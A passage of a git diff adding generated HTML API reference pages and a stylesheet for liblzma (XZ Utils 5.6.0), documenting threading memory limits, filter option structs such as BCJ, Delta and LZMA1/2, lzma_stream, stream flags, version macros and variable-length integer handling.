If the number of threads has been set so high that more than memlimit_threading bytes of memory would be needed, the number of threads will be reduced so that the memory usage will not exceed memlimit_threading bytes. However, if memlimit_threading cannot be met even in single-threaded mode, then decoding will continue in single-threaded mode and memlimit_threading may be exceeded even by a large amount. That is, memlimit_threading will never make lzma_code() return LZMA_MEMLIMIT_ERROR. To truly cap the memory usage, see memlimit_stop below.

+

Setting memlimit_threading to UINT64_MAX or a similar huge value means that liblzma is allowed to keep the whole compressed file and the whole uncompressed file in memory in addition to the memory needed by the decompressor data structures used by each thread! In other words, a reasonable value limit must be set here or it will cause problems sooner or later. If you have no idea what a reasonable value could be, try lzma_physmem() / 4 as a starting point. Setting this limit will never prevent decompression of a file; this will only reduce the number of threads.

+

If memlimit_threading is greater than memlimit_stop, then the value of memlimit_stop will be used for both.

+ +
+
+ +

◆ memlimit_stop

+ +
+
+ + + + +
uint64_t lzma_mt::memlimit_stop
+
+ +

Memory usage limit that should never be exceeded.

+

Encoder: Ignored.

+

Decoder: If decompressing will need more than this amount of memory even in the single-threaded mode, then lzma_code() will return LZMA_MEMLIMIT_ERROR.

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__options__bcj.html b/doc/api/structlzma__options__bcj.html new file mode 100644 index 00000000..c236e26c --- /dev/null +++ b/doc/api/structlzma__options__bcj.html @@ -0,0 +1,101 @@ + + + + + + + +liblzma (XZ Utils): lzma_options_bcj Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_options_bcj Struct Reference
+
+
+ +

Options for BCJ filters. + More...

+ +

#include <bcj.h>

+ + + + + +

+Data Fields

uint32_t start_offset
 Start offset for conversions.
 
+

Detailed Description

+

Options for BCJ filters.

+

The BCJ filters never change the size of the data. Specifying options for them is optional: if pointer to options is NULL, default value is used. You probably never need to specify options to BCJ filters, so just set the options pointer to NULL and be happy.

+

If options with non-default values have been specified when encoding, the same options must also be specified when decoding.

+
Note
At the moment, none of the BCJ filters support LZMA_SYNC_FLUSH. If LZMA_SYNC_FLUSH is specified, LZMA_OPTIONS_ERROR will be returned. If there is need, partial support for LZMA_SYNC_FLUSH can be added in future. Partial means that flushing would be possible only at offsets that are multiple of 2, 4, or 16 depending on the filter, except x86 which cannot be made to support LZMA_SYNC_FLUSH predictably.
+

Field Documentation

+ +

◆ start_offset

+ +
+
+ + + + +
uint32_t lzma_options_bcj::start_offset
+
+ +

Start offset for conversions.

+

This setting is useful only when the same filter is used _separately_ for multiple sections of the same executable file, and the sections contain cross-section branch/call/jump instructions. In that case it is beneficial to set the start offset of the non-first sections so that the relative addresses of the cross-section branch/call/jump instructions will use the same absolute addresses as in the first section.

+

When the pointer to options is NULL, the default value (zero) is used.

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__options__delta.html b/doc/api/structlzma__options__delta.html new file mode 100644 index 00000000..e4e509d1 --- /dev/null +++ b/doc/api/structlzma__options__delta.html @@ -0,0 +1,119 @@ + + + + + + + +liblzma (XZ Utils): lzma_options_delta Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_options_delta Struct Reference
+
+
+ +

Options for the Delta filter. + More...

+ +

#include <delta.h>

+ + + + + + + +

+Data Fields

lzma_delta_type type
 
uint32_t dist
 Delta distance.
 
+

Detailed Description

+

Options for the Delta filter.

+

These options are needed by both encoder and decoder.

+

Field Documentation

+ +

◆ type

+ +
+
+ + + + +
lzma_delta_type lzma_options_delta::type
+
+

For now, this must always be LZMA_DELTA_TYPE_BYTE.

+ +
+
+ +

◆ dist

+ +
+
+ + + + +
uint32_t lzma_options_delta::dist
+
+ +

Delta distance.

+

With the only currently supported type, LZMA_DELTA_TYPE_BYTE, the distance is as bytes.

+

Examples:

    +
  • 16-bit stereo audio: distance = 4 bytes
  • +
  • 24-bit RGB image data: distance = 3 bytes
  • +
+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__options__lzma.html b/doc/api/structlzma__options__lzma.html new file mode 100644 index 00000000..59da9967 --- /dev/null +++ b/doc/api/structlzma__options__lzma.html @@ -0,0 +1,369 @@ + + + + + + + +liblzma (XZ Utils): lzma_options_lzma Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_options_lzma Struct Reference
+
+
+ +

Options specific to the LZMA1 and LZMA2 filters. + More...

+ +

#include <lzma12.h>

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Data Fields

uint32_t dict_size
 Dictionary size in bytes.
 
const uint8_t * preset_dict
 Pointer to an initial dictionary.
 
uint32_t preset_dict_size
 Size of the preset dictionary.
 
uint32_t lc
 Number of literal context bits.
 
uint32_t lp
 Number of literal position bits.
 
uint32_t pb
 Number of position bits.
 
lzma_mode mode
 
uint32_t nice_len
 Nice length of a match.
 
lzma_match_finder mf
 
uint32_t depth
 Maximum search depth in the match finder.
 
uint32_t ext_flags
 For LZMA_FILTER_LZMA1EXT: Extended flags.
 
uint32_t ext_size_low
 For LZMA_FILTER_LZMA1EXT: Uncompressed size (low bits)
 
uint32_t ext_size_high
 For LZMA_FILTER_LZMA1EXT: Uncompressed size (high bits)
 
+

Detailed Description

+

Options specific to the LZMA1 and LZMA2 filters.

+

Since LZMA1 and LZMA2 share most of the code, it's simplest to share the options structure too. For encoding, all but the reserved variables need to be initialized unless specifically mentioned otherwise. lzma_lzma_preset() can be used to get a good starting point.

+

For raw decoding, both LZMA1 and LZMA2 need dict_size, preset_dict, and preset_dict_size (if preset_dict != NULL). LZMA1 needs also lc, lp, and pb.

+

Field Documentation

+ +

◆ dict_size

+ +
+
+ + + + +
uint32_t lzma_options_lzma::dict_size
+
+ +

Dictionary size in bytes.

+

Dictionary size indicates how many bytes of the recently processed uncompressed data is kept in memory. One method to reduce size of the uncompressed data is to store distance-length pairs, which indicate what data to repeat from the dictionary buffer. Thus, the bigger the dictionary, the better the compression ratio usually is.

+

Maximum size of the dictionary depends on multiple things:

    +
  • Memory usage limit
  • +
  • Available address space (not a problem on 64-bit systems)
  • +
  • Selected match finder (encoder only)
  • +
+

Currently the maximum dictionary size for encoding is 1.5 GiB (i.e. (UINT32_C(1) << 30) + (UINT32_C(1) << 29)) even on 64-bit systems for certain match finder implementation reasons. In the future, there may be match finders that support bigger dictionaries.

+

Decoder already supports dictionaries up to 4 GiB - 1 B (i.e. UINT32_MAX), so increasing the maximum dictionary size of the encoder won't cause problems for old decoders.

+

Because extremely small dictionaries sizes would have unneeded overhead in the decoder, the minimum dictionary size is 4096 bytes.

+
Note
When decoding, too big dictionary does no other harm than wasting memory.
+ +
+
+ +

◆ preset_dict

+ +
+
+ + + + +
const uint8_t* lzma_options_lzma::preset_dict
+
+ +

Pointer to an initial dictionary.

+

It is possible to initialize the LZ77 history window using a preset dictionary. It is useful when compressing many similar, relatively small chunks of data independently from each other. The preset dictionary should contain typical strings that occur in the files being compressed. The most probable strings should be near the end of the preset dictionary.

+

This feature should be used only in special situations. For now, it works correctly only with raw encoding and decoding. Currently none of the container formats supported by liblzma allow preset dictionary when decoding, thus if you create a .xz or .lzma file with preset dictionary, it cannot be decoded with the regular decoder functions. In the future, the .xz format will likely get support for preset dictionary though.

+ +
+
+ +

◆ preset_dict_size

+ +
+
+ + + + +
uint32_t lzma_options_lzma::preset_dict_size
+
+ +

Size of the preset dictionary.

+

Specifies the size of the preset dictionary. If the size is bigger than dict_size, only the last dict_size bytes are processed.

+

This variable is read only when preset_dict is not NULL. If preset_dict is not NULL but preset_dict_size is zero, no preset dictionary is used (identical to only setting preset_dict to NULL).

+ +
+
+ +

◆ lc

+ +
+
+ + + + +
uint32_t lzma_options_lzma::lc
+
+ +

Number of literal context bits.

+

How many of the highest bits of the previous uncompressed eight-bit byte (also known as 'literal') are taken into account when predicting the bits of the next literal.

+

E.g. in typical English text, an upper-case letter is often followed by a lower-case letter, and a lower-case letter is usually followed by another lower-case letter. In the US-ASCII character set, the highest three bits are 010 for upper-case letters and 011 for lower-case letters. When lc is at least 3, the literal coding can take advantage of this property in the uncompressed data.

+

There is a limit that applies to literal context bits and literal position bits together: lc + lp <= 4. Without this limit the decoding could become very slow, which could have security related results in some cases like email servers doing virus scanning. This limit also simplifies the internal implementation in liblzma.

+

There may be LZMA1 streams that have lc + lp > 4 (maximum possible lc would be 8). It is not possible to decode such streams with liblzma.

+ +
+
+ +

◆ lp

+ +
+
+ + + + +
uint32_t lzma_options_lzma::lp
+
+ +

Number of literal position bits.

+

lp affects what kind of alignment in the uncompressed data is assumed when encoding literals. A literal is a single 8-bit byte. See pb below for more information about alignment.

+ +
+
+ +

◆ pb

+ +
+
+ + + + +
uint32_t lzma_options_lzma::pb
+
+ +

Number of position bits.

+

pb affects what kind of alignment in the uncompressed data is assumed in general. The default means four-byte alignment (2^ pb =2^2=4), which is often a good choice when there's no better guess.

+

When the alignment is known, setting pb accordingly may reduce the file size a little. E.g. with text files having one-byte alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can improve compression slightly. For UTF-16 text, pb=1 is a good choice. If the alignment is an odd number like 3 bytes, pb=0 might be the best choice.

+

Even though the assumed alignment can be adjusted with pb and lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment. It might be worth taking into account when designing file formats that are likely to be often compressed with LZMA1 or LZMA2.

+ +
+
+ +

◆ mode

+ +
+
+ + + + +
lzma_mode lzma_options_lzma::mode
+
+

Compression mode

+ +
+
+ +

◆ nice_len

+ +
+
+ + + + +
uint32_t lzma_options_lzma::nice_len
+
+ +

Nice length of a match.

+

This determines how many bytes the encoder compares from the match candidates when looking for the best match. Once a match of at least nice_len bytes long is found, the encoder stops looking for better candidates and encodes the match. (Naturally, if the found match is actually longer than nice_len, the actual length is encoded; it's not truncated to nice_len.)

+

Bigger values usually increase the compression ratio and compression time. For most files, 32 to 128 is a good value, which gives very good compression ratio at good speed.

+

The exact minimum value depends on the match finder. The maximum is 273, which is the maximum length of a match that LZMA1 and LZMA2 can encode.

+ +
+
+ +

◆ mf

+ +
+
+ + + + +
lzma_match_finder lzma_options_lzma::mf
+
+

Match finder ID

+ +
+
+ +

◆ depth

+ +
+
+ + + + +
uint32_t lzma_options_lzma::depth
+
+ +

Maximum search depth in the match finder.

+

For every input byte, match finder searches through the hash chain or binary tree in a loop, each iteration going one step deeper in the chain or tree. The searching stops if

    +
  • a match of at least nice_len bytes long is found;
  • +
  • all match candidates from the hash chain or binary tree have been checked; or
  • +
  • maximum search depth is reached.
  • +
+

Maximum search depth is needed to prevent the match finder from wasting too much time in case there are lots of short match candidates. On the other hand, stopping the search before all candidates have been checked can reduce compression ratio.

+

Setting depth to zero tells liblzma to use an automatic default value, that depends on the selected match finder and nice_len. The default is in the range [4, 200] or so (it may vary between liblzma versions).

+

Using a bigger depth value than the default can increase compression ratio in some cases. There is no strict maximum value, but high values (thousands or millions) should be used with care: the encoder could remain fast enough with typical input, but malicious input could cause the match finder to slow down dramatically, possibly creating a denial of service attack.

+ +
+
+ +

◆ ext_flags

+ +
+
+ + + + +
uint32_t lzma_options_lzma::ext_flags
+
+ +

For LZMA_FILTER_LZMA1EXT: Extended flags.

+

This is used only with LZMA_FILTER_LZMA1EXT.

+

Currently only one flag is supported, LZMA_LZMA1EXT_ALLOW_EOPM:

+
    +
  • Encoder: If the flag is set, then end marker is written just like it is with LZMA_FILTER_LZMA1. Without this flag the end marker isn't written and the application has to store the uncompressed size somewhere outside the compressed stream. To decompress streams without the end marker, the application has to set the correct uncompressed size in ext_size_low and ext_size_high.
  • +
  • Decoder: If the uncompressed size in ext_size_low and ext_size_high is set to the special value UINT64_MAX (indicating unknown uncompressed size) then this flag is ignored and the end marker must always be present, that is, the behavior is identical to LZMA_FILTER_LZMA1.

    +

    Otherwise, if this flag isn't set, then the input stream must not have the end marker; if the end marker is detected then it will result in LZMA_DATA_ERROR. This is useful when it is known that the stream must not have the end marker and strict validation is wanted.

    +

    If this flag is set, then it is autodetected if the end marker is present after the specified number of uncompressed bytes has been decompressed (ext_size_low and ext_size_high). The end marker isn't allowed in any other position. This behavior is useful when uncompressed size is known but the end marker may or may not be present. This is the case, for example, in .7z files (valid .7z files that have the end marker in LZMA1 streams are rare but they do exist).

    +
  • +
+ +
+
+ +

◆ ext_size_low

+ +
+
+ + + + +
uint32_t lzma_options_lzma::ext_size_low
+
+ +

For LZMA_FILTER_LZMA1EXT: Uncompressed size (low bits)

+

The 64-bit uncompressed size is needed for decompression with LZMA_FILTER_LZMA1EXT. The size is ignored by the encoder.

+

The special value UINT64_MAX indicates that the uncompressed size is unknown and that the end of payload marker (also known as end of stream marker) must be present to indicate the end of the LZMA1 stream. Any other value indicates the expected uncompressed size of the LZMA1 stream. (If LZMA1 was used together with filters that change the size of the data then the uncompressed size of the LZMA1 stream could be different than the final uncompressed size of the filtered stream.)

+

ext_size_low holds the least significant 32 bits of the uncompressed size. The most significant 32 bits must be set in ext_size_high. The macro lzma_ext_size_set(opt_lzma, u64size) can be used to set these members.

+

The 64-bit uncompressed size is split into two uint32_t variables because there were no reserved uint64_t members and using the same options structure for LZMA_FILTER_LZMA1, LZMA_FILTER_LZMA1EXT, and LZMA_FILTER_LZMA2 was otherwise more convenient than having a new options structure for LZMA_FILTER_LZMA1EXT. (Replacing two uint32_t members with one uint64_t changes the ABI on some systems as the alignment of this struct can increase from 4 bytes to 8.)

+ +
+
+ +

◆ ext_size_high

+ +
+
+ + + + +
uint32_t lzma_options_lzma::ext_size_high
+
+ +

For LZMA_FILTER_LZMA1EXT: Uncompressed size (high bits)

+

This holds the most significant 32 bits of the uncompressed size.

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__stream.html b/doc/api/structlzma__stream.html new file mode 100644 index 00000000..d2967a25 --- /dev/null +++ b/doc/api/structlzma__stream.html @@ -0,0 +1,257 @@ + + + + + + + +liblzma (XZ Utils): lzma_stream Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_stream Struct Reference
+
+
+ +

Passing data to and from liblzma. + More...

+ +

#include <base.h>

+ + + + + + + + + + + + + + + + + + + + + + +

+Data Fields

const uint8_t * next_in
 
size_t avail_in
 
uint64_t total_in
 
uint8_t * next_out
 
size_t avail_out
 
uint64_t total_out
 
const lzma_allocatorallocator
 Custom memory allocation functions.
 
lzma_internalinternal
 
uint64_t seek_pos
 New seek input position for LZMA_SEEK_NEEDED.
 
+

Detailed Description

+

Passing data to and from liblzma.

+

The lzma_stream structure is used for

    +
  • passing pointers to input and output buffers to liblzma;
  • +
  • defining custom memory handler functions; and
  • +
  • holding a pointer to coder-specific internal data structures.
  • +
+

Typical usage:

+
    +
  • After allocating lzma_stream (on stack or with malloc()), it must be initialized to LZMA_STREAM_INIT (see LZMA_STREAM_INIT for details).
  • +
  • Initialize a coder to the lzma_stream, for example by using lzma_easy_encoder() or lzma_auto_decoder(). Some notes:
      +
    • In contrast to zlib, strm->next_in and strm->next_out are ignored by all initialization functions, thus it is safe to not initialize them yet.
    • +
    • The initialization functions always set strm->total_in and strm->total_out to zero.
    • +
    • If the initialization function fails, no memory is left allocated that would require freeing with lzma_end() even if some memory was associated with the lzma_stream structure when the initialization function was called.
    • +
    +
  • +
  • Use lzma_code() to do the actual work.
  • +
  • Once the coding has been finished, the existing lzma_stream can be reused. It is OK to reuse lzma_stream with different initialization function without calling lzma_end() first. Old allocations are automatically freed.
  • +
  • Finally, use lzma_end() to free the allocated memory. lzma_end() never frees the lzma_stream structure itself.
  • +
+

Application may modify the values of total_in and total_out as it wants. They are updated by liblzma to match the amount of data read and written but aren't used for anything else except as a possible return values from lzma_get_progress().

+

Field Documentation

+ +

◆ next_in

+ +
+
+ + + + +
const uint8_t* lzma_stream::next_in
+
+

Pointer to the next input byte.

+ +
+
+ +

◆ avail_in

+ +
+
+ + + + +
size_t lzma_stream::avail_in
+
+

Number of available input bytes in next_in.

+ +
+
+ +

◆ total_in

+ +
+
+ + + + +
uint64_t lzma_stream::total_in
+
+

Total number of bytes read by liblzma.

+ +
+
+ +

◆ next_out

+ +
+
+ + + + +
uint8_t* lzma_stream::next_out
+
+

Pointer to the next output position.

+ +
+
+ +

◆ avail_out

+ +
+
+ + + + +
size_t lzma_stream::avail_out
+
+

Amount of free space in next_out.

+ +
+
+ +

◆ total_out

+ +
+
+ + + + +
uint64_t lzma_stream::total_out
+
+

Total number of bytes written by liblzma.

+ +
+
+ +

◆ allocator

+ +
+
+ + + + +
const lzma_allocator* lzma_stream::allocator
+
+ +

Custom memory allocation functions.

+

In most cases this is NULL which makes liblzma use the standard malloc() and free().

+
Note
In 5.0.x this is not a const pointer.
+ +
+
+ +

◆ internal

+ +
+
+ + + + +
lzma_internal* lzma_stream::internal
+
+

Internal state is not visible to applications.

+ +
+
+ +

◆ seek_pos

+ +
+
+ + + + +
uint64_t lzma_stream::seek_pos
+
+ +

New seek input position for LZMA_SEEK_NEEDED.

+

When lzma_code() returns LZMA_SEEK_NEEDED, the new input position needed by liblzma will be available seek_pos. The value is guaranteed to not exceed the file size that was specified when this lzma_stream was initialized.

+

In all other situations the value of this variable is undefined.

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__stream__flags.html b/doc/api/structlzma__stream__flags.html new file mode 100644 index 00000000..2f6e94b3 --- /dev/null +++ b/doc/api/structlzma__stream__flags.html @@ -0,0 +1,140 @@ + + + + + + + +liblzma (XZ Utils): lzma_stream_flags Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_stream_flags Struct Reference
+
+
+ +

Options for encoding/decoding Stream Header and Stream Footer. + More...

+ +

#include <stream_flags.h>

+ + + + + + + + + + + +

+Data Fields

uint32_t version
 Stream Flags format version.
 
lzma_vli backward_size
 Backward Size.
 
lzma_check check
 Check ID.
 
+

Detailed Description

+

Options for encoding/decoding Stream Header and Stream Footer.

+

Field Documentation

+ +

◆ version

+ +
+
+ + + + +
uint32_t lzma_stream_flags::version
+
+ +

Stream Flags format version.

+

To prevent API and ABI breakages if new features are needed in Stream Header or Stream Footer, a version number is used to indicate which members in this structure are in use. For now, version must always be zero. With non-zero version, the lzma_stream_header_encode() and lzma_stream_footer_encode() will return LZMA_OPTIONS_ERROR.

+

lzma_stream_header_decode() and lzma_stream_footer_decode() will always set this to the lowest value that supports all the features indicated by the Stream Flags field. The application must check that the version number set by the decoding functions is supported by the application. Otherwise it is possible that the application will decode the Stream incorrectly.

+ +
+
+ +

◆ backward_size

+ +
+
+ + + + +
lzma_vli lzma_stream_flags::backward_size
+
+ +

Backward Size.

+

Backward Size must be a multiple of four bytes. In this Stream format version, Backward Size is the size of the Index field.

+

Backward Size isn't actually part of the Stream Flags field, but it is convenient to include in this structure anyway. Backward Size is present only in the Stream Footer. There is no need to initialize backward_size when encoding Stream Header.

+

lzma_stream_header_decode() always sets backward_size to LZMA_VLI_UNKNOWN so that it is convenient to use lzma_stream_flags_compare() when both Stream Header and Stream Footer have been decoded.

+ +
+
+ +

◆ check

+ +
+
+ + + + +
lzma_check lzma_stream_flags::check
+
+ +

Check ID.

+

This indicates the type of the integrity check calculated from uncompressed data.

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/sync_off.png b/doc/api/sync_off.png new file mode 100644 index 00000000..9b04abe7 Binary files /dev/null and b/doc/api/sync_off.png differ diff --git a/doc/api/sync_on.png b/doc/api/sync_on.png new file mode 100644 index 00000000..34a5b8b9 Binary files /dev/null and b/doc/api/sync_on.png differ diff --git a/doc/api/tab_a.png b/doc/api/tab_a.png new file mode 100644 index 00000000..3181cdfe Binary files /dev/null and b/doc/api/tab_a.png differ diff --git a/doc/api/tab_ad.png b/doc/api/tab_ad.png new file mode 100644 index 00000000..36153864 Binary files /dev/null and b/doc/api/tab_ad.png differ diff --git a/doc/api/tab_b.png b/doc/api/tab_b.png new file mode 100644 index 00000000..3feec4f7 Binary files /dev/null and b/doc/api/tab_b.png differ diff --git a/doc/api/tab_bd.png b/doc/api/tab_bd.png new file mode 100644 index 00000000..9fd66352 Binary files /dev/null and b/doc/api/tab_bd.png differ diff --git a/doc/api/tab_h.png b/doc/api/tab_h.png new file mode 100644 index 00000000..abb3d3dc Binary files /dev/null and b/doc/api/tab_h.png differ diff --git a/doc/api/tab_hd.png b/doc/api/tab_hd.png new file mode 100644 index 00000000..c59e4135 Binary files /dev/null and b/doc/api/tab_hd.png differ diff --git a/doc/api/tab_s.png b/doc/api/tab_s.png new file mode 100644 index 00000000..a3f26f55 Binary files /dev/null and b/doc/api/tab_s.png differ diff --git a/doc/api/tab_sd.png b/doc/api/tab_sd.png new file mode 100644 index 00000000..5d4917ae Binary files /dev/null and b/doc/api/tab_sd.png differ diff --git a/doc/api/tabs.css b/doc/api/tabs.css new file mode 100644 index 00000000..b56f46ec --- /dev/null +++ b/doc/api/tabs.css @@ -0,0 +1,62 @@ +.tabs, .tabs2, .tabs3 { + background-image: var(--nav-gradient-image); + width: 100%; + z-index: 101; + font-size: var(--nav-font-size-level1); + font-family: var(--font-family-nav); + display: table; +} + +.tabs2 { + font-size: var(--nav-font-size-level2); +} +.tabs3 { + font-size: var(--nav-font-size-level3); +} + +.tablist { + margin: 0; + padding: 0; + display: block; +} + +.tablist li { + float: left; + display: table-cell; + background-image: var(--nav-gradient-image); + line-height: 36px; + list-style: none; +} + +.tablist a { + display: block; + padding: 0 20px; + font-weight: bold; + background-image:var(--nav-separator-image); + background-repeat:no-repeat; + background-position:right; + color: var(--nav-text-normal-color); + text-shadow: var(--nav-text-normal-shadow); + text-decoration: none; + outline: none; +} + +.tabs3 .tablist a { + padding: 0 10px; +} + +.tablist a:hover { + background-image: var(--nav-gradient-hover-image); + background-repeat:repeat-x; + color: var(--nav-text-hover-color); + text-shadow: var(--nav-text-hover-shadow); + text-decoration: none; +} + +.tablist li.current a { + background-image: var(--nav-gradient-active-image); + background-repeat:repeat-x; + color: var(--nav-text-active-color); + text-shadow: var(--nav-text-active-shadow); +} + diff --git a/doc/api/version_8h.html b/doc/api/version_8h.html new file mode 100644 index 00000000..d74fdd2f --- /dev/null +++ b/doc/api/version_8h.html @@ -0,0 +1,245 @@ + + + + + + + +liblzma (XZ Utils): lzma/version.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
version.h File Reference
+
+
+ +

Version number. +More...

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Macros

+#define LZMA_VERSION_MAJOR   5
 Major version number of the liblzma release.
 
+#define LZMA_VERSION_MINOR   6
 Minor version number of the liblzma release.
 
+#define LZMA_VERSION_PATCH   0
 Patch version number of the liblzma release.
 
#define LZMA_VERSION_STABILITY   LZMA_VERSION_STABILITY_STABLE
 Version stability marker.
 
+#define LZMA_VERSION_COMMIT   ""
 Commit version number of the liblzma release.
 
+#define LZMA_VERSION_STABILITY_ALPHA   0
 
+#define LZMA_VERSION_STABILITY_BETA   1
 
+#define LZMA_VERSION_STABILITY_STABLE   2
 
#define LZMA_VERSION
 Compile-time version number.
 
+#define LZMA_VERSION_STABILITY_STRING   "alpha"
 
+#define LZMA_VERSION_STRING_C_(major, minor, patch, stability, commit)    #major "." #minor "." #patch stability commit
 
+#define LZMA_VERSION_STRING_C(major, minor, patch, stability, commit)    LZMA_VERSION_STRING_C_(major, minor, patch, stability, commit)
 
#define LZMA_VERSION_STRING
 Compile-time version as a string.
 
+ + + + + + + +

+Functions

uint32_t lzma_version_number (void) lzma_nothrow lzma_attr_const
 Run-time version number as an integer.
 
const char * lzma_version_string (void) lzma_nothrow lzma_attr_const
 Run-time version as a string.
 
+

Detailed Description

+

Version number.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_VERSION_STABILITY

+ +
+
+ + + + +
#define LZMA_VERSION_STABILITY   LZMA_VERSION_STABILITY_STABLE
+
+ +

Version stability marker.

+

This will always be one of three values:

    +
  • LZMA_VERSION_STABILITY_ALPHA
  • +
  • LZMA_VERSION_STABILITY_BETA
  • +
  • LZMA_VERSION_STABILITY_STABLE
  • +
+ +
+
+ +

◆ LZMA_VERSION

+ +
+
+ + + + +
#define LZMA_VERSION
+
+Value:
(LZMA_VERSION_MAJOR * UINT32_C(10000000) \
+
+ LZMA_VERSION_MINOR * UINT32_C(10000) \
+
+ LZMA_VERSION_PATCH * UINT32_C(10) \
+ +
+

Compile-time version number.

+

The version number is of format xyyyzzzs where

    +
  • x = major
  • +
  • yyy = minor
  • +
  • zzz = revision
  • +
  • s indicates stability: 0 = alpha, 1 = beta, 2 = stable
  • +
+

The same xyyyzzz triplet is never reused with different stability levels. For example, if 5.1.0alpha has been released, there will never be 5.1.0beta or 5.1.0 stable.

+
Note
The version number of liblzma has nothing to with the version number of Igor Pavlov's LZMA SDK.
+ +
+
+ +

◆ LZMA_VERSION_STRING

+ +
+
+ + + + +
#define LZMA_VERSION_STRING
+
+Value:
LZMA_VERSION_STRING_C( \
+ +
LZMA_VERSION_PATCH, LZMA_VERSION_STABILITY_STRING, \
+ +
+

Compile-time version as a string.

+

This can be for example "4.999.5alpha", "4.999.8beta", or "5.0.0" (stable versions don't have any "stable" suffix). In future, a snapshot built from source code repository may include an additional suffix, for example "4.999.8beta-21-g1d92". The commit ID won't be available in numeric form in LZMA_VERSION macro.

+ +
+
+

Function Documentation

+ +

◆ lzma_version_number()

+ +
+
+ + + + + + + + +
uint32_t lzma_version_number (void ) const
+
+ +

Run-time version number as an integer.

+

This allows an application to compare if it was built against the same, older, or newer version of liblzma that is currently running.

+
Returns
The value of LZMA_VERSION macro at the compile time of liblzma
+ +
+
+ +

◆ lzma_version_string()

+ +
+
+ + + + + + + + +
const char * lzma_version_string (void ) const
+
+ +

Run-time version as a string.

+

This function may be useful to display which version of liblzma an application is currently using.

+
Returns
Run-time version of liblzma
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/vli_8h.html b/doc/api/vli_8h.html new file mode 100644 index 00000000..0bb5a454 --- /dev/null +++ b/doc/api/vli_8h.html @@ -0,0 +1,329 @@ + + + + + + + +liblzma (XZ Utils): lzma/vli.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
vli.h File Reference
+
+
+ +

Variable-length integer handling. +More...

+ + + + + + + + + + + + + + + + + +

+Macros

+#define LZMA_VLI_MAX   (UINT64_MAX / 2)
 Maximum supported value of a variable-length integer.
 
+#define LZMA_VLI_UNKNOWN   UINT64_MAX
 VLI value to denote that the value is unknown.
 
+#define LZMA_VLI_BYTES_MAX   9
 Maximum supported encoded length of variable length integers.
 
+#define LZMA_VLI_C(n)   UINT64_C(n)
 VLI constant suffix.
 
#define lzma_vli_is_valid(vli)    ((vli) <= LZMA_VLI_MAX || (vli) == LZMA_VLI_UNKNOWN)
 Validate a variable-length integer.
 
+ + + + +

+Typedefs

typedef uint64_t lzma_vli
 Variable-length integer type.
 
+ + + + + + + + + + +

+Functions

lzma_ret lzma_vli_encode (lzma_vli vli, size_t *vli_pos, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow
 Encode a variable-length integer.
 
lzma_ret lzma_vli_decode (lzma_vli *vli, size_t *vli_pos, const uint8_t *in, size_t *in_pos, size_t in_size) lzma_nothrow
 Decode a variable-length integer.
 
uint32_t lzma_vli_size (lzma_vli vli) lzma_nothrow lzma_attr_pure
 Get the number of bytes required to encode a VLI.
 
+

Detailed Description

+

Variable-length integer handling.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

In the .xz format, most integers are encoded in a variable-length representation, which is sometimes called little endian base-128 encoding. This saves space when smaller values are more likely than bigger values.

+

The encoding scheme encodes seven bits to every byte, using minimum number of bytes required to represent the given value. Encodings that use non-minimum number of bytes are invalid, thus every integer has exactly one encoded representation. The maximum number of bits in a VLI is 63, thus the vli argument must be less than or equal to UINT64_MAX / 2. You should use LZMA_VLI_MAX for clarity.

+

Macro Definition Documentation

+ +

◆ lzma_vli_is_valid

+ +
+
+ + + + + + + + +
#define lzma_vli_is_valid( vli)    ((vli) <= LZMA_VLI_MAX || (vli) == LZMA_VLI_UNKNOWN)
+
+ +

Validate a variable-length integer.

+

This is useful to test that application has given acceptable values for example in the uncompressed_size and compressed_size variables.

+
Returns
True if the integer is representable as VLI or if it indicates unknown value. False if the integer cannot be represented as VLI.
+ +
+
+

Typedef Documentation

+ +

◆ lzma_vli

+ +
+
+ + + + +
typedef uint64_t lzma_vli
+
+ +

Variable-length integer type.

+

Valid VLI values are in the range [0, LZMA_VLI_MAX]. Unknown value is indicated with LZMA_VLI_UNKNOWN, which is the maximum value of the underlying integer type.

+

